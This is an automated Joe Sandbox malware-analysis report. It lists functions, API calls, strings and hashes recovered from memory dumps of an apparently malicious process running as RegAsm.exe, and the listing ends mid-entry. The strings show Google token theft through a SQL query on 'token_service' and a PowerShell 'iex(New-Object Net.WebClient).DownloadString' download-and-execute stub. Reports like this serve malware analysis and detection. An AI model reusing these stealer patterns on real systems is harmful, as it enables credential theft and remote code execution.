Function 00409A0E Relevance: 12.2, APIs: 4, Strings: 4, Instructions: 223stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

lstrlenA.KERNEL32(?), ref: 00409BB2

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,004168FA,?), ref: 00411E37

StrStrA.SHLWAPI(00000000,AccountId), ref: 00409BCF
lstrlenA.KERNEL32(?), ref: 00409C7E
lstrlenA.KERNEL32(?), ref: 00409C99

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Strings

GoogleAccounts, xrefs: 00409A8E
GoogleAccounts, xrefs: 00409A37
AccountId, xrefs: 00409BC9
SELECT service, encrypted_token FROM token_service, xrefs: 00409B1F

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$lstrcat$AllocLocal
String ID: AccountId$GoogleAccounts$GoogleAccounts$SELECT service, encrypted_token FROM token_service
API String ID: 3306365304-1713091031
Opcode ID: d7dbc5860afe7d9ca84eb440f32270324d65f092a9eaabd45001fe2ef9c11e86
Instruction ID: 305e83aae4d242b20134bb0886246eef97b0dc7918462a5b697839569137603a
Opcode Fuzzy Hash: d7dbc5860afe7d9ca84eb440f32270324d65f092a9eaabd45001fe2ef9c11e86
Instruction Fuzzy Hash: 93815171E40109ABCF01FFA5DE469DD77B5AF04309F501026F900B71E2DBB8AE998B98

Function 6C2A0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C2A1444,?,00000001,?,00000000,00000000,?,?,6C2A1444,?,?,00000000,?,?), ref: 6C2A0CB3

Part of subcall function 6C30C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C30C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C2A1444,?,00000001,?,00000000,00000000,?,?,6C2A1444,?), ref: 6C2A0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C2A1444,?,00000001,?,00000000,00000000,?,?,6C2A1444,?), ref: 6C2A0DEC

Part of subcall function 6C2C0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C262AF5,?,?,?,?,?,6C260A1B,00000000), ref: 6C2C0F1A
Part of subcall function 6C2C0F10: malloc.MOZGLUE(00000001), ref: 6C2C0F30
Part of subcall function 6C2C0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C2C0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C2A1444,?,00000001,?,00000000,00000000,?), ref: 6C2A0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C2A1444,?,00000001,?,00000000), ref: 6C2A0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C2A1444,?,00000001,?,00000000,00000000,?), ref: 6C2A0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C2A1444,?,00000001,?,00000000,00000000,?,?,6C2A1444,?,?,00000000), ref: 6C2A0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C2A1444,?,00000001,?,00000000,00000000,?), ref: 6C2A0E79

Part of subcall function 6C2B1560: TlsGetValue.KERNEL32(00000000,?,6C280844,?), ref: 6C2B157A
Part of subcall function 6C2B1560: EnterCriticalSection.KERNEL32(?,?,?,6C280844,?), ref: 6C2B158F
Part of subcall function 6C2B1560: PR_Unlock.NSS3(?,?,?,?,6C280844,?), ref: 6C2B15B2

Part of subcall function 6C27B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C281397,00000000,?,6C27CF93,5B5F5EC0,00000000,?,6C281397,?), ref: 6C27B1CB
Part of subcall function 6C27B1A0: free.MOZGLUE(5B5F5EC0,?,6C27CF93,5B5F5EC0,00000000,?,6C281397,?), ref: 6C27B1D2

Part of subcall function 6C2789E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C2788AE,-00000008), ref: 6C278A04
Part of subcall function 6C2789E0: EnterCriticalSection.KERNEL32(?), ref: 6C278A15
Part of subcall function 6C2789E0: memset.VCRUNTIME140(6C2788AE,00000000,00000132), ref: 6C278A27
Part of subcall function 6C2789E0: PR_Unlock.NSS3(?), ref: 6C278A35

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: bf80fb5ad786e8b5a251fbfe11c671007d2befad3d3f6eda6051e7909764e3ea
Instruction ID: b16dec4bff5605d9bafd16f8ae144ec4db0e0fc8e8aff8cc9e937de19da55139
Opcode Fuzzy Hash: bf80fb5ad786e8b5a251fbfe11c671007d2befad3d3f6eda6051e7909764e3ea
Instruction Fuzzy Hash: 3051B8B6E012095FEB109FA4DC81AAB37A8DF05358F150064FC1697B52F731ED1986A2

Function 6C256E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C256ED8
sqlite3_value_text.NSS3(?,?), ref: 6C256EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C256FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C256FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C256FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C257010
sqlite3_value_blob.NSS3(?,?), ref: 6C25701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C257052

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 08a7bf9bbd185b1f7e7139fa13f2873321345aacdde0e686b06a847cb0aca97e
Instruction ID: cd9b6ec2794d299f1f55a683987a99d41760dcb1b69403526db666e4aa4c44a1
Opcode Fuzzy Hash: 08a7bf9bbd185b1f7e7139fa13f2873321345aacdde0e686b06a847cb0aca97e
Instruction Fuzzy Hash: AC61B4B1E2521E8BDB00CFA4C8407EFB7B2AF45308F988164EC15AB751EB369C25CB51

Function 0041B95B Relevance: 12.2, APIs: 8, Instructions: 175fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?,00000000,?,03922548), ref: 0041B98F
GetFileSize.KERNEL32(?,00000000), ref: 0041BA08
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 0041BA24
ReadFile.KERNEL32(?,?,00000002,?,00000000), ref: 0041BA38
SetFilePointer.KERNEL32(?,00000024,00000000,00000000), ref: 0041BA41
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 0041BA51
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 0041BA6F
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 0041BA7F

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$PointerRead$HandleInformationSize
String ID:
API String ID: 2979504256-0
Opcode ID: f05a4345b5a5f46def0a5427493c9488031ea338a5f448d32c53cacbd4df00d7
Instruction ID: b200406caefeec23edd92f76e74f4941e7f488b972883a9dbceb720f28872371
Opcode Fuzzy Hash: f05a4345b5a5f46def0a5427493c9488031ea338a5f448d32c53cacbd4df00d7
Instruction Fuzzy Hash: 755116B1D0021CAFDB28DFA9DC85AEEBBB8EF44344F10442AE515E6260D7389D85CF94

Function 6C2AAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C2AAB3E,?,?,?), ref: 6C2AAC35

Part of subcall function 6C28CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C28CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C2AAB3E,?,?,?), ref: 6C2AAC55

Part of subcall function 6C2C10C0: TlsGetValue.KERNEL32(?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C10F3
Part of subcall function 6C2C10C0: EnterCriticalSection.KERNEL32(?,?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C110C
Part of subcall function 6C2C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C1141
Part of subcall function 6C2C10C0: PR_Unlock.NSS3(?,?,?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C1182
Part of subcall function 6C2C10C0: TlsGetValue.KERNEL32(?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C2AAB3E,?,?), ref: 6C2AAC70

Part of subcall function 6C28E300: TlsGetValue.KERNEL32 ref: 6C28E33C
Part of subcall function 6C28E300: EnterCriticalSection.KERNEL32(?), ref: 6C28E350
Part of subcall function 6C28E300: PR_Unlock.NSS3(?), ref: 6C28E5BC
Part of subcall function 6C28E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C28E5CA
Part of subcall function 6C28E300: TlsGetValue.KERNEL32 ref: 6C28E5F2
Part of subcall function 6C28E300: EnterCriticalSection.KERNEL32(?), ref: 6C28E606
Part of subcall function 6C28E300: PORT_Alloc_Util.NSS3(?), ref: 6C28E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C2AAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C2AAB3E), ref: 6C2AACD7
PORT_Alloc_Util.NSS3(?), ref: 6C2AAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C2AAD2B

Part of subcall function 6C28F360: TlsGetValue.KERNEL32(00000000,?,6C2AA904,?), ref: 6C28F38B
Part of subcall function 6C28F360: EnterCriticalSection.KERNEL32(?,?,?,6C2AA904,?), ref: 6C28F3A0
Part of subcall function 6C28F360: PR_Unlock.NSS3(?,?,?,?,6C2AA904,?), ref: 6C28F3D3

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 910fff1f54a1f09e0eeb98165a37d7b72194420105e9f1416c985467e2f00638
Instruction ID: 27ffe0122cb8f74ad5964a953a9b5f1cea26ab9597d131b33cec79106f592c14
Opcode Fuzzy Hash: 910fff1f54a1f09e0eeb98165a37d7b72194420105e9f1416c985467e2f00638
Instruction Fuzzy Hash: 61311BB5E0070EAFFB009F65DC419AF7766EF84718B188128EC1597740EB31DD168BA1

Function 00412D39 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,004366FB,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

ShellExecuteEx.SHELL32(?), ref: 00412E89

Strings

.ps1, xrefs: 00412DBC
C:\ProgramData\, xrefs: 00412D6C
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00412E24
')", xrefs: 00412DDC
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00412DE1

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$.ps1$C:\ProgramData\$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 2215929589-1989157005
Opcode ID: e98d92b380e29fd4250d4bb359eda1184fcab39845bb9a031b0d7e2bd4546fc9
Instruction ID: 9ab1ac1b0cda4108084292bdf0681d303800d2dafb1237c2710dde24b82ab3d6
Opcode Fuzzy Hash: e98d92b380e29fd4250d4bb359eda1184fcab39845bb9a031b0d7e2bd4546fc9
Instruction Fuzzy Hash: 47410C71E40119ABCF11FFA6DD469CDB7B4AF08308F51506BF500B7191DBB86E8A8B98

Function 6C288C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C288C7C

Part of subcall function 6C329DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C370A27), ref: 6C329DC6
Part of subcall function 6C329DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C370A27), ref: 6C329DD1
Part of subcall function 6C329DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C329DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C288CB0
TlsGetValue.KERNEL32 ref: 6C288CD1
EnterCriticalSection.KERNEL32(?), ref: 6C288CE5
PR_Unlock.NSS3(?), ref: 6C288D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C288D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C288D93

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 895feb03c5837f484e1ec3a58116690b7a5f6b37e4f1113943a4661fd917ebf5
Instruction ID: c821f0b060bce52a0ff3fe875cf985ea951f2e3ac5764026143c5914026cdb47
Opcode Fuzzy Hash: 895feb03c5837f484e1ec3a58116690b7a5f6b37e4f1113943a4661fd917ebf5
Instruction Fuzzy Hash: 01312975A0220AAFDB009F74DC44B9AB7B4BF14319F140136EE1567B90D770B928CBD1

Function 6C17F440 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C17F480

Part of subcall function 6C14F100: LoadLibraryW.KERNEL32(shell32,?,6C1BD020), ref: 6C14F122
Part of subcall function 6C14F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C14F132

CloseHandle.KERNEL32(00000000), ref: 6C17F555

Part of subcall function 6C1514B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C151248,6C151248,?), ref: 6C1514C9
Part of subcall function 6C1514B0: memcpy.VCRUNTIME140(?,6C151248,00000000,?,6C151248,?), ref: 6C1514EF

Part of subcall function 6C14EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C14EEE3

CreateFileW.KERNEL32 ref: 6C17F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C17F523

Strings

g/, xrefs: 6C17F44E
\oleacc.dll, xrefs: 6C17F4CB

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: g/$\oleacc.dll
API String ID: 2595878907-2372326876
Opcode ID: ac28f4208bb28d75a455b0a67640a8cf67006cf14f9d2422fc677b501ec4f6d2
Instruction ID: 116fa9ac4e4e1a5b104a02973a35ccb8146648c779e4d18c2acaa34bc61dc9a1
Opcode Fuzzy Hash: ac28f4208bb28d75a455b0a67640a8cf67006cf14f9d2422fc677b501ec4f6d2
Instruction Fuzzy Hash: EA418E70608710DFE720DF68C884B9BB7F4AF95718F504A1CF6A197650EB34DA49CBA2

Function 6C282E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C27E728,?,00000038,?,?,00000000), ref: 6C282E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C282E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C282E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C282E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C282E9E
PR_Unlock.NSS3(?), ref: 6C282EAB
PR_Unlock.NSS3(?), ref: 6C282F0D

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 7ea5c70ccda241c54806184b577208adf70d3b9fa20994e380c3e6774f2fd263
Instruction ID: 755ea82ca751eaa09139f0e1d809325b8ce79cb098f1893ce7423aa6042a2255
Opcode Fuzzy Hash: 7ea5c70ccda241c54806184b577208adf70d3b9fa20994e380c3e6774f2fd263
Instruction Fuzzy Hash: A731D8B5A0110AABEB01AF24DC4487AB779FF65259B048174FC0887A51F731ED68C7E1

Function 6C278C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C278C1B
EnterCriticalSection.KERNEL32 ref: 6C278C34
PL_ArenaAllocate.NSS3 ref: 6C278C65
PR_Unlock.NSS3 ref: 6C278C9C
PR_Unlock.NSS3 ref: 6C278CB6

Part of subcall function 6C30DD70: TlsGetValue.KERNEL32 ref: 6C30DD8C
Part of subcall function 6C30DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C30DDB4

Strings

KRAM, xrefs: 6C278C8F

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: cfb4d1e7be5ff587ae4d9279f50398c15d7c3cae784d4f73a36b9f69725f5b19
Instruction ID: 43b1a1654db00801a5792816141eb0309c3e62c5e94308aba539825d531fea8c
Opcode Fuzzy Hash: cfb4d1e7be5ff587ae4d9279f50398c15d7c3cae784d4f73a36b9f69725f5b19
Instruction Fuzzy Hash: 94218BB1A057098FD700AF38C4C4569BBF4BF05208F05896EDC889B711EB30E889CBA2

Function 6C372C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C372CA0
PR_ExitMonitor.NSS3 ref: 6C372CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C372CD1
strdup.MOZGLUE(?), ref: 6C372CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C372D27

Strings

Loaded library %s (static lib), xrefs: 6C372D22

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
